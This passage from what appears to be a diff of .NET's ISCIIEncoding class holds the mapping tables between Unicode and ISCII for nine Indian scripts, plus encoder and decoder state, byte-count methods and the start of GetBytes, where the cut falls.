System.Text.DecoderNLS + { + internal int currentCodePage; + + internal bool bLastATR; + + internal bool bLastVirama; + + internal bool bLastDevenagariStressAbbr; + + internal char cLastCharForNextNukta; + + internal char cLastCharForNoNextNukta; + + internal override bool HasState + { + get + { + if (cLastCharForNextNukta == '\0' && cLastCharForNoNextNukta == '\0' && !bLastATR) + { + return bLastDevenagariStressAbbr; + } + return true; + } + } + + public ISCIIDecoder(EncodingNLS encoding) + : base(encoding) + { + currentCodePage = encoding.CodePage - 57000; + } + + public override void Reset() + { + bLastATR = false; + bLastVirama = false; + bLastDevenagariStressAbbr = false; + cLastCharForNextNukta = '\0'; + cLastCharForNoNextNukta = '\0'; + m_fallbackBuffer?.Reset(); + } + } + + private const int CodeDevanagari = 2; + + private const int CodePunjabi = 11; + + private const int MultiByteBegin = 160; + + private const int IndicBegin = 2305; + + private const int IndicEnd = 3439; + + private const byte ControlATR = 239; + + private const byte ControlCodePageStart = 64; + + private const byte Virama = 232; + + private const byte Nukta = 233; + + private const byte DevenagariExt = 240; + + private const char ZWNJ = '\u200c'; + + private const char ZWJ = '\u200d'; + + private readonly int _defaultCodePage; + + private static readonly int[] s_UnicodeToIndicChar = new int[1135] + { + 673, 674, 675, 0, 676, 677, 678, 679, 680, 681, + 682, 4774, 686, 683, 684, 685, 690, 687, 688, 689, + 691, 692, 693, 694, 695, 696, 697, 698, 699, 700, + 701, 702, 703, 704, 705, 706, 707, 708, 709, 710, + 711, 712, 713, 714, 715, 716, 717, 719, 720, 721, + 722, 723, 724, 725, 726, 727, 728, 0, 0, 745, + 4842, 730, 731, 732, 733, 734, 735, 4831, 739, 736, + 737, 738, 743, 740, 741, 742, 744, 0, 0, 4769, + 0, 8944, 0, 0, 0, 0, 0, 4787, 4788, 4789, + 4794, 4799, 4800, 4809, 718, 4778, 4775, 4827, 4828, 746, + 0, 753, 754, 755, 756, 757, 758, 759, 760, 761, + 762, 13040, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 929, 930, + 931, 0, 932, 933, 934, 935, 936, 937, 938, 5030, + 0, 0, 939, 941, 0, 0, 943, 945, 947, 948, + 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, + 959, 960, 961, 962, 963, 964, 965, 966, 0, 968, + 969, 970, 971, 972, 973, 975, 0, 977, 0, 0, + 0, 981, 982, 983, 984, 0, 0, 1001, 0, 986, + 987, 988, 989, 990, 991, 5087, 0, 0, 992, 994, + 0, 0, 996, 998, 1000, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 5055, + 5056, 0, 974, 5034, 5031, 5083, 5084, 0, 0, 1009, + 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 2978, 0, 0, + 2980, 2981, 2982, 2983, 2984, 2985, 0, 0, 0, 0, + 2987, 2989, 0, 0, 2992, 2993, 2995, 2996, 2997, 2998, + 2999, 3000, 3001, 3002, 3003, 3004, 3005, 3006, 3007, 3008, + 3009, 3010, 3011, 3012, 3013, 3014, 0, 3016, 3017, 3018, + 3019, 3020, 3021, 3023, 0, 3025, 3026, 0, 3028, 3029, + 0, 3031, 3032, 0, 0, 3049, 0, 3034, 3035, 3036, + 3037, 3038, 0, 0, 0, 0, 3040, 3042, 0, 0, + 3044, 3046, 3048, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 7092, 7093, 7098, 7104, 0, 7113, + 0, 0, 0, 0, 0, 0, 0, 3057, 3058, 3059, + 3060, 3061, 3062, 3063, 3064, 3065, 3066, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 2721, 2722, 2723, 0, 2724, 2725, + 2726, 2727, 2728, 2729, 2730, 0, 2734, 0, 2731, 2733, + 2738, 0, 2736, 2737, 2739, 2740, 2741, 2742, 2743, 2744, + 2745, 2746, 2747, 2748, 2749, 2750, 2751, 2752, 2753, 2754, + 2755, 2756, 2757, 2758, 0, 2760, 2761, 2762, 2763, 2764, + 2765, 2767, 0, 2769, 2770, 0, 2772, 2773, 2774, 2775, + 2776, 0, 0, 2793, 6890, 2778, 2779, 2780, 2781, 2782, + 2783, 6879, 2787, 0, 2784, 2786, 2791, 0, 2788, 2790, + 2792, 0, 0, 6817, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 6826, + 0, 0, 0, 0, 0, 2801, 2802, 2803, 2804, 2805, + 2806, 2807, 2808, 2809, 2810, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 1953, 1954, 1955, 0, 1956, 1957, 1958, 1959, + 1960, 1961, 1962, 6054, 0, 0, 1963, 1965, 0, 0, + 1968, 1969, 1971, 1972, 1973, 1974, 1975, 1976, 1977, 1978, + 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, + 1989, 1990, 0, 1992, 1993, 1994, 1995, 1996, 1997, 1999, + 0, 2001, 2002, 0, 0, 2005, 2006, 2007, 2008, 0, + 0, 2025, 6122, 2010, 2011, 2012, 2013, 2014, 2015, 0, + 0, 0, 2016, 2018, 0, 0, 2020, 2022, 2024, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 6079, 6080, 0, 1998, 6058, 6055, 0, + 0, 0, 0, 2033, 2034, 2035, 2036, 2037, 2038, 2039, + 2040, 2041, 2042, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 1186, 1187, 0, 1188, 1189, 1190, 1191, 1192, 1193, + 0, 0, 0, 0, 1195, 1197, 0, 1199, 1200, 1201, + 1203, 0, 0, 0, 1207, 1208, 0, 1210, 0, 1212, + 1213, 0, 0, 0, 1217, 1218, 0, 0, 0, 1222, + 1223, 1224, 0, 0, 0, 1228, 1229, 1231, 1232, 1233, + 1234, 1235, 1236, 0, 1237, 1239, 1240, 0, 0, 0, + 0, 1242, 1243, 1244, 1245, 1246, 0, 0, 0, 1248, + 1249, 1250, 0, 1252, 1253, 1254, 1256, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, + 1274, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 1441, 1442, + 1443, 0, 1444, 1445, 1446, 1447, 1448, 1449, 1450, 5542, + 0, 1451, 1452, 1453, 0, 1455, 1456, 1457, 1459, 1460, + 1461, 1462, 1463, 1464, 1465, 1466, 1467, 1468, 1469, 1470, + 1471, 1472, 1473, 1474, 1475, 1476, 1477, 1478, 0, 1480, + 1481, 1482, 1483, 1484, 1485, 1487, 1488, 1489, 1490, 0, + 1492, 1493, 1494, 1495, 1496, 0, 0, 0, 0, 1498, + 1499, 1500, 1501, 1502, 1503, 5599, 0, 1504, 1505, 1506, + 0, 1508, 1509, 1510, 1512, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 5546, 5543, 0, 0, 0, 0, 1521, + 1522, 1523, 1524, 1525, 1526, 1527, 1528, 1529, 1530, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 2210, 2211, 0, + 2212, 2213, 2214, 2215, 2216, 2217, 2218, 6310, 0, 2219, + 2220, 2221, 0, 2223, 2224, 2225, 2227, 2228, 2229, 2230, + 2231, 2232, 2233, 2234, 2235, 2236, 2237, 2238, 2239, 2240, + 2241, 2242, 2243, 2244, 2245, 2246, 0, 2248, 2249, 2250, + 2251, 2252, 2253, 2255, 2256, 2257, 2258, 0, 2260, 2261, + 2262, 2263, 2264, 0, 0, 0, 0, 2266, 2267, 2268, + 2269, 2270, 2271, 6367, 0, 2272, 2273, 2274, 0, 2276, + 2277, 2278, 2280, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 6345, + 0, 6314, 6311, 0, 0, 0, 0, 2289, 2290, 2291, + 2292, 2293, 2294, 2295, 2296, 2297, 2298, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 2466, 2467, 0, 2468, 2469, + 2470, 2471, 2472, 2473, 2474, 6566, 0, 2475, 2476, 2477, + 0, 2479, 2480, 2481, 2483, 2484, 2485, 2486, 2487, 2488, + 2489, 2490, 2491, 2492, 2493, 2494, 2495, 2496, 2497, 2498, + 2499, 2500, 2501, 2502, 0, 2504, 2505, 2506, 2507, 2508, + 2509, 2511, 2512, 2513, 2514, 2515, 2516, 2517, 2518, 2519, + 2520, 0, 0, 0, 0, 2522, 2523, 2524, 2525, 2526, + 2527, 0, 0, 2528, 2529, 2530, 0, 2532, 2533, 2534, + 2536, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 6570, + 6567, 0, 0, 0, 0, 2545, 2546, 2547, 2548, 2549, + 2550, 2551, 2552, 2553, 2554 + }; + + private static readonly int[] s_IndicMappingIndex = new int[12] + { + -1, -1, 0, 1, 2, 3, 1, 4, 5, 6, + 7, 8 + }; + + private static readonly char[,,] s_IndicMapping = new char[9, 2, 96] + { + { + { + '\0', '\u0901', '\u0902', '\u0903', 'अ', 'आ', 'इ', 'ई', 'उ', 'ऊ', + 'ऋ', 'ऎ', 'ए', 'ऐ', 'ऍ', 'ऒ', 'ओ', 'औ', 'ऑ', 'क', + 'ख', 'ग', 'घ', 'ङ', 'च', 'छ', 'ज', 'झ', 'ञ', 'ट', + 'ठ', 'ड', 'ढ', 'ण', 'त', 'थ', 'द', 'ध', 'न', 'ऩ', + 'प', 'फ', 'ब', 'भ', 'म', 'य', 'य़', 'र', 'ऱ', 'ल', + 'ळ', 'ऴ', 'व', 'श', 'ष', 'स', 'ह', '\0', '\u093e', '\u093f', + '\u0940', '\u0941', '\u0942', '\u0943', '\u0946', '\u0947', '\u0948', '\u0945', '\u094a', '\u094b', + '\u094c', '\u0949', '\u094d', '\u093c', '।', '\0', '\0', '\0', '\0', '\0', + '\0', '०', '१', '२', '३', '४', '५', '६', '७', '८', + '९', '\0', '\0', '\0', '\0', '\0' + }, + { + '\0', 'ॐ', '\0', '\0', '\0', '\0', 'ऌ', 'ॡ', '\0', '\0', + 'ॠ', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', 'क़', + 'ख़', 'ग़', '\0', '\0', '\0', '\0', 'ज़', '\0', '\0', '\0', + '\0', 'ड़', 'ढ़', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', 'फ़', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\u0962', + '\u0963', '\0', '\0', '\u0944', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\u200c', '\u200d', 'ऽ', '\0', '\0', '\0', '\0', '\0', + '뢿', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0' + } + }, + { + { + '\0', '\u0981', '\u0982', '\u0983', 'অ', 'আ', 'ই', 'ঈ', 'উ', 'ঊ', + 'ঋ', 'এ', 'এ', 'ঐ', 'ঐ', 'ও', 'ও', 'ঔ', 'ঔ', 'ক', + 'খ', 'গ', 'ঘ', 'ঙ', 'চ', 'ছ', 'জ', 'ঝ', 'ঞ', 'ট', + 'ঠ', 'ড', 'ঢ', 'ণ', 'ত', 'থ', 'দ', 'ধ', 'ন', 'ন', + 'প', 'ফ', 'ব', 'ভ', 'ম', 'য', 'য়', 'র', 'র', 'ল', + 'ল', 'ল', 'ব', 'শ', 'ষ', 'স', 'হ', '\0', '\u09be', '\u09bf', + '\u09c0', '\u09c1', '\u09c2', '\u09c3', '\u09c7', '\u09c7', '\u09c8', '\u09c8', '\u09cb', '\u09cb', + '\u09cc', '\u09cc', '\u09cd', '\u09bc', '.', '\0', '\0', '\0', '\0', '\0', + '\0', '০', '১', '২', '৩', '৪', '৫', '৬', '৭', '৮', + '৯', '\0', '\0', '\0', '\0', '\0' + }, + { + '\0', '\0', '\0', '\0', '\0', '\0', 'ঌ', 'ৡ', '\0', '\0', + 'ৠ', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', 'ড়', 'ঢ়', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\u09e2', + '\u09e3', '\0', '\0', '\u09c4', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\u200c', '\u200d', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0' + } + }, + { + { + '\0', '\0', '\u0b82', 'ஃ', 'அ', 'ஆ', 'இ', 'ஈ', 'உ', 'ஊ', + '\0', 'ஏ', 'ஏ', 'ஐ', 'ஐ', 'ஒ', 'ஓ', 'ஔ', 'ஔ', 'க', + 'க', 'க', 'க', 'ங', 'ச', 'ச', 'ஜ', 'ஜ', 'ஞ', 'ட', + 'ட', 'ட', 'ட', 'ண', 'த', 'த', 'த', 'த', 'ந', 'ன', + 'ப', 'ப', 'ப', 'ப', 'ம', 'ய', 'ய', 'ர', 'ற', 'ல', + 'ள', 'ழ', 'வ', 'ஷ', 'ஷ', 'ஸ', 'ஹ', '\0', '\u0bbe', '\u0bbf', + '\u0bc0', '\u0bc1', '\u0bc2', '\0', '\u0bc6', '\u0bc7', '\u0bc8', '\u0bc8', '\u0bca', '\u0bcb', + '\u0bcc', '\u0bcc', '\u0bcd', '\0', '.', '\0', '\0', '\0', '\0', '\0', + '\0', '0', '௧', '௨', '௩', '௪', '௫', '௬', '௭', '௮', + '௯', '\0', '\0', '\0', '\0', '\0' + }, + { + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\u200c', '\u200d', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0' + } + }, + { + { + '\0', '\u0c01', '\u0c02', '\u0c03', 'అ', 'ఆ', 'ఇ', 'ఈ', 'ఉ', 'ఊ', + 'ఋ', 'ఎ', 'ఏ', 'ఐ', 'ఐ', 'ఒ', 'ఓ', 'ఔ', 'ఔ', 'క', + 'ఖ', 'గ', 'ఘ', 'ఙ', 'చ', 'ఛ', 'జ', 'ఝ', 'ఞ', 'ట', + 'ఠ', 'డ', 'ఢ', 'ణ', 'త', 'థ', 'ద', 'ధ', 'న', 'న', + 'ప', 'ఫ', 'బ', 'భ', 'మ', 'య', 'య', 'ర', 'ఱ', 'ల', + 'ళ', 'ళ', 'వ', 'శ', 'ష', 'స', 'హ', '\0', '\u0c3e', '\u0c3f', + '\u0c40', '\u0c41', '\u0c42', '\u0c43', '\u0c46', '\u0c47', '\u0c48', '\u0c48', '\u0c4a', '\u0c4b', + '\u0c4c', '\u0c4c', '\u0c4d', '\0', '.', '\0', '\0', '\0', '\0', '\0', + '\0', '౦', '౧', '౨', '౩', '౪', '౫', '౬', '౭', '౮', + '౯', '\0', '\0', '\0', '\0', '\0' + }, + { + '\0', '\0', '\0', '\0', '\0', '\0', 'ఌ', 'ౡ', '\0', '\0', + 'ౠ', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\u0c44', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\u200c', '\u200d', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0' + } + }, + { + { + '\0', '\u0b01', '\u0b02', '\u0b03', 'ଅ', 'ଆ', 'ଇ', 'ଈ', 'ଉ', 'ଊ', + 'ଋ', 'ଏ', 'ଏ', 'ଐ', 'ଐ', 'ଐ', 'ଓ', 'ଔ', 'ଔ', 'କ', + 'ଖ', 'ଗ', 'ଘ', 'ଙ', 'ଚ', 'ଛ', 'ଜ', 'ଝ', 'ଞ', 'ଟ', + 'ଠ', 'ଡ', 'ଢ', 'ଣ', 'ତ', 'ଥ', 'ଦ', 'ଧ', 'ନ', 'ନ', + 'ପ', 'ଫ', 'ବ', 'ଭ', 'ମ', 'ଯ', 'ୟ', 'ର', 'ର', 'ଲ', + 'ଳ', 'ଳ', 'ବ', 'ଶ', 'ଷ', 'ସ', 'ହ', '\0', '\u0b3e', '\u0b3f', + '\u0b40', '\u0b41', '\u0b42', '\u0b43', '\u0b47', '\u0b47', '\u0b48', '\u0b48', '\u0b4b', '\u0b4b', + '\u0b4c', '\u0b4c', '\u0b4d', '\u0b3c', '.', '\0', '\0', '\0', '\0', '\0', + '\0', '୦', '୧', '୨', '୩', '୪', '୫', '୬', '୭', '୮', + '୯', '\0', '\0', '\0', '\0', '\0' + }, + { + '\0', '\0', '\0', '\0', '\0', '\0', 'ఌ', 'ౡ', '\0', '\0', + 'ౠ', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', 'ଡ଼', 'ଢ଼', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\u0c44', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\u200c', '\u200d', 'ଽ', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0' + } + }, + { + { + '\0', '\0', '\u0c82', '\u0c83', 'ಅ', 'ಆ', 'ಇ', 'ಈ', 'ಉ', 'ಊ', + 'ಋ', 'ಎ', 'ಏ', 'ಐ', 'ಐ', 'ಒ', 'ಓ', 'ಔ', 'ಔ', 'ಕ', + 'ಖ', 'ಗ', 'ಘ', 'ಙ', 'ಚ', 'ಛ', 'ಜ', 'ಝ', 'ಞ', 'ಟ', + 'ಠ', 'ಡ', 'ಢ', 'ಣ', 'ತ', 'ಥ', 'ದ', 'ಧ', 'ನ', 'ನ', + 'ಪ', 'ಫ', 'ಬ', 'ಭ', 'ಮ', 'ಯ', 'ಯ', 'ರ', 'ಱ', 'ಲ', + 'ಳ', 'ಳ', 'ವ', 'ಶ', 'ಷ', 'ಸ', 'ಹ', '\0', '\u0cbe', '\u0cbf', + '\u0cc0', '\u0cc1', '\u0cc2', '\u0cc3', '\u0cc6', '\u0cc7', '\u0cc8', '\u0cc8', '\u0cca', '\u0ccb', + '\u0ccc', '\u0ccc', '\u0ccd', '\0', '.', '\0', '\0', '\0', '\0', '\0', + '\0', '೦', '೧', '೨', '೩', '೪', '೫', '೬', '೭', '೮', + '೯', '\0', '\0', '\0', '\0', '\0' + }, + { + '\0', '\0', '\0', '\0', '\0', '\0', 'ಌ', 'ೡ', '\0', '\0', + 'ೠ', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', 'ೞ', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\u0cc4', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\u200c', '\u200d', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0' + } + }, + { + { + '\0', '\0', '\u0d02', '\u0d03', 'അ', 'ആ', 'ഇ', 'ഈ', 'ഉ', 'ഊ', + 'ഋ', 'എ', 'ഏ', 'ഐ', 'ഐ', 'ഒ', 'ഓ', 'ഔ', 'ഔ', 'ക', + 'ഖ', 'ഗ', 'ഘ', 'ങ', 'ച', 'ഛ', 'ജ', 'ഝ', 'ഞ', 'ട', + 'ഠ', 'ഡ', 'ഢ', 'ണ', 'ത', 'ഥ', 'ദ', 'ധ', 'ന', 'ന', + 'പ', 'ഫ', 'ബ', 'ഭ', 'മ', 'യ', 'യ', 'ര', 'റ', 'ല', + 'ള', 'ഴ', 'വ', 'ശ', 'ഷ', 'സ', 'ഹ', '\0', '\u0d3e', '\u0d3f', + '\u0d40', '\u0d41', '\u0d42', '\u0d43', '\u0d46', '\u0d47', '\u0d48', '\u0d48', '\u0d4a', '\u0d4b', + '\u0d4c', '\u0d4c', '\u0d4d', '\0', '.', '\0', '\0', '\0', '\0', '\0', + '\0', '൦', '൧', '൨', '൩', '൪', '൫', '൬', '൭', '൮', + '൯', '\0', '\0', '\0', '\0', '\0' + }, + { + '\0', '\0', '\0', '\0', '\0', '\0', 'ഌ', 'ൡ', '\0', '\0', + 'ൠ', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\u200c', '\u200d', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0' + } + }, + { + { + '\0', '\u0a81', '\u0a82', '\u0a83', 'અ', 'આ', 'ઇ', 'ઈ', 'ઉ', 'ઊ', + 'ઋ', 'એ', 'એ', 'ઐ', 'ઍ', 'ઍ', 'ઓ', 'ઔ', 'ઑ', 'ક', + 'ખ', 'ગ', 'ઘ', 'ઙ', 'ચ', 'છ', 'જ', 'ઝ', 'ઞ', 'ટ', + 'ઠ', 'ડ', 'ઢ', 'ણ', 'ત', 'થ', 'દ', 'ધ', 'ન', 'ન', + 'પ', 'ફ', 'બ', 'ભ', 'મ', 'ય', 'ય', 'ર', 'ર', 'લ', + 'ળ', 'ળ', 'વ', 'શ', 'ષ', 'સ', 'હ', '\0', '\u0abe', '\u0abf', + '\u0ac0', '\u0ac1', '\u0ac2', '\u0ac3', '\u0ac7', '\u0ac7', '\u0ac8', '\u0ac5', '\u0acb', '\u0acb', + '\u0acc', '\u0ac9', '\u0acd', '\u0abc', '.', '\0', '\0', '\0', '\0', '\0', + '\0', '૦', '૧', '૨', '૩', '૪', '૫', '૬', '૭', '૮', + '૯', '\0', '\0', '\0', '\0', '\0' + }, + { + '\0', 'ૐ', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + 'ૠ', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\u0ac4', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\u200c', '\u200d', 'ઽ', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0' + } + }, + { + { + '\0', '\0', '\u0a02', '\0', 'ਅ', 'ਆ', 'ਇ', 'ਈ', 'ਉ', 'ਊ', + '\0', 'ਏ', 'ਏ', 'ਐ', 'ਐ', 'ਐ', 'ਓ', 'ਔ', 'ਔ', 'ਕ', + 'ਖ', 'ਗ', 'ਘ', 'ਙ', 'ਚ', 'ਛ', 'ਜ', 'ਝ', 'ਞ', 'ਟ', + 'ਠ', 'ਡ', 'ਢ', 'ਣ', 'ਤ', 'ਥ', 'ਦ', 'ਧ', 'ਨ', 'ਨ', + 'ਪ', 'ਫ', 'ਬ', 'ਭ', 'ਮ', 'ਯ', 'ਯ', 'ਰ', 'ਰ', 'ਲ', + 'ਲ਼', 'ਲ਼', 'ਵ', 'ਸ਼', 'ਸ਼', 'ਸ', 'ਹ', '\0', '\u0a3e', '\u0a3f', + '\u0a40', '\u0a41', '\u0a42', '\0', '\u0a47', '\u0a47', '\u0a48', '\u0a48', '\u0a4b', '\u0a4b', + '\u0a4c', '\u0a4c', '\u0a4d', '\u0a3c', '.', '\0', '\0', '\0', '\0', '\0', + '\0', '੦', '੧', '੨', '੩', '੪', '੫', '੬', '੭', '੮', + '੯', '\0', '\0', '\0', '\0', '\0' + }, + { + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + 'ਖ਼', 'ਗ਼', '\0', '\0', '\0', '\0', 'ਜ਼', '\0', '\0', '\0', + '\0', '\0', 'ੜ', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', 'ਫ਼', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\u200c', '\u200d', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', + '\0', '\0', '\0', '\0', '\0', '\0' + } + } + }; + + private static ReadOnlySpan SecondIndicByte => new byte[4] { 0, 233, 184, 191 }; + + public ISCIIEncoding(int codePage) + : base(codePage) + { + _defaultCodePage = codePage - 57000; + if (_defaultCodePage < 2 || _defaultCodePage > 11) + { + throw new ArgumentException(System.SR.Format(System.SR.Argument_CodepageNotSupported, codePage), "codePage"); + } + } + + void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) + { + throw new PlatformNotSupportedException(); + } + + public override int GetMaxByteCount(int charCount) + { + if (charCount < 0) + { + throw new ArgumentOutOfRangeException("charCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + long num = (long)charCount + 1L; + if (base.EncoderFallback.MaxCharCount > 1) + { + num *= base.EncoderFallback.MaxCharCount; + } + num *= 4; + if (num > int.MaxValue) + { + throw new ArgumentOutOfRangeException("charCount", System.SR.ArgumentOutOfRange_GetByteCountOverflow); + } + return (int)num; + } + + public override int GetMaxCharCount(int byteCount) + { + if (byteCount < 0) + { + throw new ArgumentOutOfRangeException("byteCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + long num = (long)byteCount + 1L; + if (base.DecoderFallback.MaxCharCount > 1) + { + num *= base.DecoderFallback.MaxCharCount; + } + if (num > int.MaxValue) + { + throw new ArgumentOutOfRangeException("byteCount", System.SR.ArgumentOutOfRange_GetCharCountOverflow); + } + return (int)num; + } + + public unsafe override int GetByteCount(char* chars, int count, System.Text.EncoderNLS baseEncoder) + { + return GetBytes(chars, count, null, 0, baseEncoder); + } + + public unsafe override int GetBytes(char* chars, int charCount, byte* bytes, int byteCount, System.Text.EncoderNLS baseEncoder) + { + ISCIIEncoder iSCIIEncoder = (ISCIIEncoder)baseEncoder; + EncodingByteBuffer encodingByteBuffer = new EncodingByteBuffer(this, iSCIIEncoder, bytes, byteCount, chars, charCount); + int num = _defaultCodePage; + bool flag = false; + if (iSCIIEncoder != null) + { + num = iSCIIEncoder.currentCodePage; + flag = iSCIIEncoder.bLastVirama; + if (iSCIIEncoder.charLeftOver > '\0') + { + encodingByteBuffer.Fallback(iSCIIEncoder.charLeftOver); + flag = false; + } + } + while (encodingByteBuffer.MoreData) + { + char nextChar = encodingByteBuffer.GetNextChar(); + if (nextChar < '\u00a0') + { + if (!encodingByteBuffer.AddByte((byte)nextChar)) + { + break; + } + flag = false; + continue; + } + if (nextChar < '\u0901' || nextChar > '൯') + { + if (flag && (nextChar == '\u200c' || nextChar == '\u200d')) + { + if (nextChar == '\u200c') + { + if (!encodingByteBuffer.AddByte(232)) + { + break; + } + } + else if 